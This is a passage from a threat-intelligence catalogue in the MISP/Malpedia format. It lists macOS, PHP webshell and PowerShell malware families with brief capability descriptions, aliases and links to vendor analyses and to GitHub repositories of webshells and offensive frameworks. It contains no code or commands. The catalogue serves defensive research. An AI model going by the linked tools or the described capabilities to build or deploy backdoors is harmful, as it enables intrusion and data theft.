https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/
https://securelist.com/shlayer-for-macos/95724/
https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://threatpost.com/shlayer-mac-youtube-wikipedia/152146/
https://cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities

Silver Sparrow

According to Red Canary, Silver Sparrow is an activity cluster that includes a binary compiled to run on Apple’s new M1 chips but has been distributed without payload so far.

The tag is: *misp-galaxy:malpedia="Silver Sparrow"*

Silver Sparrow is also known as:

Table 1479. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.silver_sparrow
https://redcanary.com/blog/clipping-silver-sparrows-wings/#technical-analysis
https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf

SysJoker (OS X)

The tag is: *misp-galaxy:malpedia="SysJoker (OS X)"*

SysJoker (OS X) is also known as:

Table 1480. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.sysjoker
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/
https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/
https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html
https://www.sentinelone.com/blog/sneaky-spies-and-backdoor-rats-sysjoker-and-dazzlespy-malware-target-macos/

systemd

General purpose backdoor

The tag is: *misp-galaxy:malpedia="systemd"*

systemd is also known as:

- Demsty
- ReverseWindow

Table 1481. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.systemd
https://securelist.com/windealer-dealing-on-the-side/105946/
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf
https://vms.drweb.com/virus/?_is=1&i=15299312&lng=en

Tsunami (OS X)

The tag is: *misp-galaxy:malpedia="Tsunami (OS X)"*

Tsunami (OS X) is also known as:

Table 1482. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.tsunami

https://www.intego.com/mac-security-blog/tsunami-backdoor-can-be-used-for-denial-of-service-attacks

Unidentified macOS 001 (UnionCryptoTrader)

The tag is: *misp-galaxy:malpedia="Unidentified macOS 001 (UnionCryptoTrader)"*

Unidentified macOS 001 (UnionCryptoTrader) is also known as:

Table 1483. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.unidentified_001
https://objective-see.com/blog/blog_0x51.html
https://securelist.com/operation-applejeus-sequel/95596/

UpdateAgent

The tag is: *misp-galaxy:malpedia="UpdateAgent"*

UpdateAgent is also known as:

Table 1484. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.update_agent
https://twitter.com/sysopfb/status/1532442456343691273
https://www.jamf.com/blog/updateagent-adapts-again/
https://www.esentire.com/blog/updateagent-macos-malware
https://www.microsoft.com/security/blog/2022/02/02/the-evolution-of-a-mac-trojan-updateagents-progression/

Uroburos (OS X)

The tag is: *misp-galaxy:malpedia="Uroburos (OS X)"*

Uroburos (OS X) is also known as:

Table 1485. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.uroburos
https://blog.fox-it.com/2017/05/03/snake-coming-soon-in-mac-os-x-flavour/
https://blog.malwarebytes.com/threat-analysis/2017/05/snake-malware-ported-windows-mac/

Vigram

The tag is: *misp-galaxy:malpedia="Vigram"*

Vigram is also known as:

- WizardUpdate

Table 1486. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.vigram
https://twitter.com/ConfiantIntel/status/1351559054565535745
https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/
https://twitter.com/MsftSecIntel/status/1451279679059488773

WatchCat

The tag is: *misp-galaxy:malpedia="WatchCat"*

WatchCat is also known as:

Table 1487. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.watchcat
https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/
https://objective-see.com/blog/blog_0x5F.html

WindTail

The tag is: *misp-galaxy:malpedia="WindTail"*

WindTail is also known as:

Table 1488. Table References

Links
https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf
https://malpedia.caad.fkie.fraunhofer.de/details/osx.windtail
https://posts.specterops.io/introducing-venator-a-macos-tool-for-proactive-detection-34055a017e56
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf

https://www.virusbulletin.com/virusbulletin/2020/04/vb2019-paper-cyber-espionage-middle-east-unravelling-osxwindtail/
https://objective-see.com/blog/blog_0x3B.html
https://objective-see.com/blog/blog_0x3D.html
https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/

Winnti (OS X)

The tag is: *misp-galaxy:malpedia="Winnti (OS X)"*

Winnti (OS X) is also known as:

Table 1489. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti
https://401trg.pw/winnti-evolution-going-open-source/

WireLurker (OS X)

The tag is: *misp-galaxy:malpedia="WireLurker (OS X)"*

WireLurker (OS X) is also known as:

Table 1490. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://objective-see.com/blog/blog_0x16.html

Wirenet (OS X)

The tag is: *misp-galaxy:malpedia="Wirenet (OS X)"*

Wirenet (OS X) is also known as:

Table 1491. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://objective-see.com/blog/blog_0x43.html

https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent (OS X)

The tag is: *misp-galaxy:malpedia="X-Agent (OS X)"*

X-Agent (OS X) is also known as:

Table 1492. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent
https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf
https://twitter.com/PhysicalDrive0/status/845009226388918273
https://www.secureworks.com/research/threat-profiles/iron-twilight
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

XCSSET

The tag is: *misp-galaxy:malpedia="XCSSET"*

XCSSET is also known as:

Table 1493. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset
https://blog.trendmicro.com/trendlabs-security-intelligence/xcsset-mac-malware-infects-xcode-projects-performs-uxss-attack-on-safari-other-browsers-leverages-zero-day-exploits/
https://www.trendmicro.com/en_us/research/21/g/updated-xcsset-malware-targets-telegram—other-apps.html
https://securelist.com/malware-for-the-new-apple-silicon-platform/101137/
https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html
https://objective-see.com/blog/blog_0x5F.html
https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf
https://www.crowdstrike.com/blog/how-crowdstrike-analyzes-macos-malware-to-optimize-automated-detection-capabilities
https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/

Xloader

Xloader is a Rebranding of Formbook malware (mainly a stealer), available for macOS as well.

Formbook has a "magic"-value FBNG (FormBook-NG), while Xloader has a "magic"-value XLNG (XLoader-NG). This "magic"-value XLNG is platform-independent.

Not to be confused with apk.xloader or ios.xloader.

The tag is: *misp-galaxy:malpedia="Xloader"*

Xloader is also known as:

- Formbook

Table 1494. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xloader
https://www.sentinelone.com/blog/detecting-xloader-a-macos-malware-as-a-service-info-stealer-and-keylogger/
https://blog.malwarebytes.com/mac/2021/07/osx-xloader-hides-little-except-its-main-purpose-what-we-learned-in-the-installation-process/
https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer
https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://twitter.com/krabsonsecurity/status/1319463908952969216
https://research.checkpoint.com/2021/top-prevalent-malware-with-a-thousand-campaigns-migrates-to-macos/
https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-xbinder-xloader/
https://research.checkpoint.com/2021/time-proven-tricks-in-a-new-environment-the-macos-evolution-of-formbook/
https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/
https://www.lac.co.jp/lacwatch/report/20220307_002893.html
https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption

XSLCmd

The tag is: *misp-galaxy:malpedia="XSLCmd"*

XSLCmd is also known as:

Table 1495. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd
https://objective-see.com/blog/blog_0x16.html
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html

Yort

The tag is: *misp-galaxy:malpedia="Yort"*

Yort is also known as:

Table 1496. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort
https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/
https://objective-see.com/blog/blog_0x53.html

ZuRu

A malware that was observed being embedded alongside legitimate applications (such as iTerm2) offered for download on suspicious websites pushed in search engines. It uses a Python script to perform reconnaissance on the compromised system an pulls additional payload(s).

The tag is: *misp-galaxy:malpedia="ZuRu"*

ZuRu is also known as:

Table 1497. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.zuru
https://www.trendmicro.com/en_us/research/21/i/mac-users-targeted-by-trojanized-iterm2-app.html
https://objective-see.com/blog/blog_0x66.html

Ani-Shell

Ani-Shell is a simple PHP shell with some unique features like Mass Mailer, a simple Web-Server Fuzzer, Dosser, Back Connect, Bind Shell, Back Connect, Auto Rooter etc.

The tag is: *misp-galaxy:malpedia="Ani-Shell"*

Ani-Shell is also known as:

- anishell

Table 1498. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.anishell
http://ani-shell.sourceforge.net/
https://github.com/tennc/webshell/tree/master/php/Ani-Shell

ANTAK

Antak is a webshell written in ASP.Net which utilizes PowerShell.

The tag is: *misp-galaxy:malpedia="ANTAK"*

ANTAK is also known as:

Table 1499. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.antak
https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

ASPXSpy

The tag is: *misp-galaxy:malpedia="ASPXSpy"*

ASPXSpy is also known as:

Table 1500. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.aspxspy
https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells
https://attack.mitre.org/groups/G0096

Behinder

A webshell for multiple web languages (asp/aspx, jsp/jspx, php), openly distributed through Github.

The tag is: *misp-galaxy:malpedia="Behinder"*

Behinder is also known as:

Table 1501. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.behinder
https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

c99shell

C99shell is a PHP backdoor that provides a lot of functionality, for example:

- run shell commands;
- download/upload files from and to the server (FTP functionality);
- full access to all files on the hard disk;
- self-delete functionality.

The tag is: *misp-galaxy:malpedia="c99shell"*

c99shell is also known as:

- c99

Table 1502. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.c99
https://bartblaze.blogspot.com/2015/03/c99shell-not-dead.html

DEWMODE

FireEye discovered the DEWMODE webshell starting mid-December 2020 after exploitation of zero-day vulnerabilities in Accellion's File Transfer Appliance. It is a PHP webshell that allows threat actors to view and download files in the victim machine. It also contains cleanup function to remove itself and clean the Apache log.

The tag is: *misp-galaxy:malpedia="DEWMODE"*

DEWMODE is also known as:

Table 1503. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.dewmode
https://www.accellion.com/sites/default/files/trust-center/accellion-fta-attack-mandiant-report-full.pdf
https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-055a
https://go.recordedfuture.com/hubfs/reports/mtp-2021-0312.pdf

Ensikology

The tag is: *misp-galaxy:malpedia="Ensikology"*

Ensikology is also known as:

- Ensiko

Table 1504. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.ensikology
https://blog.trendmicro.com/trendlabs-security-intelligence/ensiko-a-webshell-with-ransomware-capabilities/

Parrot TDS WebShell

In combination with Parrot TDS the usage of a classical web shell was observed by DECODED Avast.io.

The tag is: *misp-galaxy:malpedia="Parrot TDS WebShell"*

Parrot TDS WebShell is also known as:

Table 1505. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.parrot_tds_shell
https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/

PAS

The tag is: *misp-galaxy:malpedia="PAS"*

PAS is also known as:

Table 1506. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.pas
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf
https://www.domaintools.com/resources/blog/centreon-to-exim-and-back-on-the-trail-of-sandworm
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity

https://securelist.com/apt-trends-report-q1-2021/101967/
https://blog.erratasec.com/2016/12/some-notes-on-iocs.html

Prometheus Backdoor

Backdoor written in php

The tag is: *misp-galaxy:malpedia="Prometheus Backdoor"*

Prometheus Backdoor is also known as:

Table 1507. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.prometheus_backdoor
https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus
https://blog.group-ib.com/prometheus-tds

RedHat Hacker WebShell

The tag is: *misp-galaxy:malpedia="RedHat Hacker WebShell"*

RedHat Hacker WebShell is also known as:

Table 1508. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.redhat_hacker
https://github.com/xl7dev/WebShell/blob/master/Asp/RedHat%20Hacker.asp

WSO

The tag is: *misp-galaxy:malpedia="WSO"*

WSO is also known as:

- Webshell by Orb

Table 1509. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.wso
https://securelist.com/energetic-bear-crouching-yeti/85345/
https://www.mandiant.com/resources/cloud-metadata-abuse-unc2903

Silence DDoS

The tag is: *misp-galaxy:malpedia="Silence DDoS"*

Silence DDoS is also known as:

Table 1510. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos
https://www.group-ib.com/resources/threat-research/silence.html

BlackSun

Ransomware.

The tag is: *misp-galaxy:malpedia="BlackSun"*

BlackSun is also known as:

Table 1511. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.blacksun
https://blogs.vmware.com/security/2022/01/blacksun-ransomware-the-dark-side-of-powershell.html

BONDUPDATER

The tag is: *misp-galaxy:malpedia="BONDUPDATER"*

BONDUPDATER is also known as:

- Glimpse
- Poison Frog

Table 1512. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater
https://ironnet.com/blog/chirp-of-the-poisonfrog/
https://nsfocusglobal.com/apt34-event-analysis-report/
https://www.netscout.com/blog/asert/tunneling-under-sands
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2

https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://blog.0day.rocks/hacking-back-and-influence-operations-85cd52c1e933
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://unit42.paloaltonetworks.com/behind-the-scenes-with-oilrig/
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://marcoramilli.com/2019/05/02/apt34-glimpse-project/
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/

CASHY200

The tag is: *misp-galaxy:malpedia="CASHY200"*

CASHY200 is also known as:

Table 1513. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.cashy200
https://unit42.paloaltonetworks.com/atoms/hunter-serpens/
https://unit42.paloaltonetworks.com/more-xhunt-new-powershell-backdoor-blocked-through-dns-tunnel-detection/

FlowerPower

The tag is: *misp-galaxy:malpedia="FlowerPower"*

FlowerPower is also known as:

- BoBoStealer

Table 1514. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.flowerpower
https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Kuo-We-Are-About-To-Land-How-CloudDragon-Turns-A-Nightmare-Into-Reality.pdf
https://www.youtube.com/watch?v=rfzmHjZX70s
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://vblocalhost.com/uploads/VB2020-46.pdf

https://vb2020.vblocalhost.com/uploads/VB2020-46.pdf

FRat Loader

Loader used to deliver FRat (see family windows.frat)

The tag is: *misp-galaxy:malpedia="FRat Loader"*

FRat Loader is also known as:

Table 1515. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.frat_loader
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md

FTCODE

The malware ftcode is a ransomware which encrypts files and changes their extension into .FTCODE. It later asks for a ransom in order to release the decryption key, mandatory to recover your files. It is infamous for attacking Italy pretending to be a notorious telecom provider asking for due payments.

The tag is: *misp-galaxy:malpedia="FTCODE"*

FTCODE is also known as:

Table 1516. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode
https://nakedsecurity.sophos.com/2013/03/05/russian-ransomware-windows-powershell/
https://www.certego.net/en/news/malware-tales-ftcode/
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html
https://www.certego.net/en/news/ftdecryptor-a-simple-password-based-ftcode-decryptor/
https://www.kpn.com/security-blogs/FTCODE-taking-over-a-portion-of-the-botnet.htm
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Unknown/2020-06-22/Analysis.md
https://www.zscaler.com/blogs/research/ftcode-ransomware—new-version-includes-stealing-capabilities

GhostMiner

The tag is: *misp-galaxy:malpedia="GhostMiner"*

GhostMiner is also known as:

Table 1517. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer
https://blog.trendmicro.com/trendlabs-security-intelligence/fileless-cryptocurrency-miner-ghostminer-weaponizes-wmi-objects-kills-other-cryptocurrency-mining-payloads/
https://research.checkpoint.com/malware-against-the-c-monoculture/
https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless

JasperLoader

The tag is: *misp-galaxy:malpedia="JasperLoader"*

JasperLoader is also known as:

Table 1518. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.jasperloader
https://blog.talosintelligence.com/2019/04/jasperloader-targets-italy.html
https://blog.threatstop.com/upgraded-jasperloader-infecting-machines
https://dissectingmalwa.re/nicht-so-goot-breaking-down-gootkit-and-jasper-ftcode.html
https://blog.talosintelligence.com/2019/05/sorpresa-jasperloader.html

Lazyscripter

The tag is: *misp-galaxy:malpedia="Lazyscripter"*

Lazyscripter is also known as:

Table 1519. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lazyscripter
https://github.com/SrujanKumar-K/Blogpost/tree/main/LazyScripter

LightBot

According to Bleeping Computer and Vitali Kremez, LightBot is a compact reconnaissance tool suspected to be used to identify high-value targets for potential follow-up ransomware attacks.

The tag is: *misp-galaxy:malpedia="LightBot"*

LightBot is also known as:

Table 1520. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.lightbot
https://twitter.com/VK_Intel/status/1329511151202349057
https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/

Octopus (Powershell)

The author describes Octopus as an "open source, pre-operation C2 server based on python which can control an Octopus powershell agent through HTTP/S."

It is different from the malware win.octopus written in Delphi and attributed to DustSquad by Kaspersky Labs.

The tag is: *misp-galaxy:malpedia="Octopus (Powershell)"*

Octopus (Powershell) is also known as:

Table 1521. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.octopus
https://isc.sans.edu/diary/rss/28628
https://github.com/mhaskar/Octopus
https://resources.malwarebytes.com/files/2021/02/LazyScripter.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf
https://isc.sans.edu/diary/26918

OilRig

The tag is: *misp-galaxy:malpedia="OilRig"*

OilRig is also known as:

Table 1522. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig
https://threatpost.com/oilrig-apt-unique-backdoor/157646/
https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html
https://twitter.com/MJDutch/status/1074820959784321026?s=19

POSHSPY

The tag is: *misp-galaxy:malpedia="POSHSPY"*

POSHSPY is also known as:

Table 1523. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://github.com/matthewdunwoody/POSHSPY

PowerBrace

The tag is: *misp-galaxy:malpedia="PowerBrace"*

PowerBrace is also known as:

Table 1524. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerbrace
https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor
https://norfolkinfosec.com/osint-reporting-on-dprk-and-ta505-overlap/

PowerPepper

The tag is: *misp-galaxy:malpedia="PowerPepper"*

PowerPepper is also known as:

Table 1525. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpepper
https://securelist.com/what-did-deathstalker-hide-between-two-ferns/99616/
https://twitter.com/InQuest/status/1285295975347650562

POWERPIPE

The tag is: *misp-galaxy:malpedia="POWERPIPE"*

POWERPIPE is also known as:

Table 1526. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

POWERPLANT

This powershell code is a PowerShell written backdoor used by FIN7. Regarding to Mandiant that is was revealed to be a "vast backdoor framework with a breadth of capabilities, depending on which modules are delivered from the C2 server."

The tag is: *misp-galaxy:malpedia="POWERPLANT"*

POWERPLANT is also known as:

Table 1527. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerplant
https://www.mandiant.com/resources/evolution-of-fin7

powershell_web_backdoor

The tag is: *misp-galaxy:malpedia="powershell_web_backdoor"*

powershell_web_backdoor is also known as:

Table 1528. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershell_web_backdoor
https://github.com/chrisjd20/powershell_web_backdoor

PowerShortShell

The tag is: *misp-galaxy:malpedia="PowerShortShell"*

PowerShortShell is also known as:

Table 1529. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershortshell

https://www.safebreach.com/blog/2021/new-powershortshell-stealer-exploits-recent-microsoft-mshtml-vulnerability-to-spy-on-farsi-speakers/

PowerShower

The tag is: *misp-galaxy:malpedia="PowerShower"*

PowerShower is also known as:

Table 1530. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powershower
https://attack.mitre.org/groups/G0100/
https://securelist.com/recent-cloud-atlas-activity/92016/
https://attack.mitre.org/groups/G0100
https://securelist.com/recent-cloud-atlas-activity/92016
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability
https://unit42.paloaltonetworks.com/atoms/clean-ursa
https://unit42.paloaltonetworks.com/atoms/clean-ursa/

POWERSOURCE

POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.

The tag is: *misp-galaxy:malpedia="POWERSOURCE"*

POWERSOURCE is also known as:

Table 1531. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf

PowerSpritz

The tag is: *misp-galaxy:malpedia="PowerSpritz"*

PowerSpritz is also known as:

Table 1532. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

POWERSTATS

POWERSTATS is a backdoor written in powershell. It has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.

The tag is: *misp-galaxy:malpedia="POWERSTATS"*

POWERSTATS is also known as:

- Valyria

Table 1533. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats
https://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-055A_Iranian_Government-Sponsored_Actors_Conduct_Cyber_Operations.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/
https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/
https://shells.systems/reviving-leaked-muddyc3-used-by-muddywater-apt/
https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html
http://www.secureworks.com/research/threat-profiles/cobalt-ulster
https://unit42.paloaltonetworks.com/atoms/boggyserpens/
https://blog.prevailion.com/2020/01/summer-mirage.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/

https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html
https://marcoramilli.com/2020/01/15/iranian-threat-actors-preliminary-analysis/
https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
https://securelist.com/apt-trends-report-q2-2019/91897/

POWERTON

The tag is: *misp-galaxy:malpedia="POWERTON"*

POWERTON is also known as:

Table 1534. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerton
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html
https://www.symantec.com/security-center/writeup/2019-062513-4935-99
https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/
https://norfolkinfosec.com/apt33-powershell-malware/
https://www.secureworks.com/research/threat-profiles/cobalt-trinity
https://blog.telsy.com/meeting-powerband-the-apt33-net-powerton-variant/

POWERTRASH

This PowerShell written malware is an in-memory dropper used by FIN7 to execute the included/embedded payload. According to Mandiant's blog article: "POWERTRASH is a uniquely obfuscated iteration of a shellcode invoker included in the PowerSploit framework available on GitHub."

The tag is: *misp-galaxy:malpedia="POWERTRASH"*

POWERTRASH is also known as:

Table 1535. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powertrash
https://www.mandiant.com/resources/evolution-of-fin7

PowerWare

The tag is: *misp-galaxy:malpedia="PowerWare"*

PowerWare is also known as:

Table 1536. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats

PowerZure

PowerZure is a PowerShell project created to assess and exploit resources within Microsoft's cloud platform, Azure. PowerZure was created out of the need for a framework that can both perform reconnaissance and exploitation of Azure, AzureAD, and the associated resources.

The tag is: *misp-galaxy:malpedia="PowerZure"*

PowerZure is also known as:

Table 1537. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerzure
https://github.com/hausec/PowerZure

PowGoop

DLL loader that decrypts and runs a powershell-based downloader.

The tag is: *misp-galaxy:malpedia="PowGoop"*

PowGoop is also known as:

Table 1538. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powgoop
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a

https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/
https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611
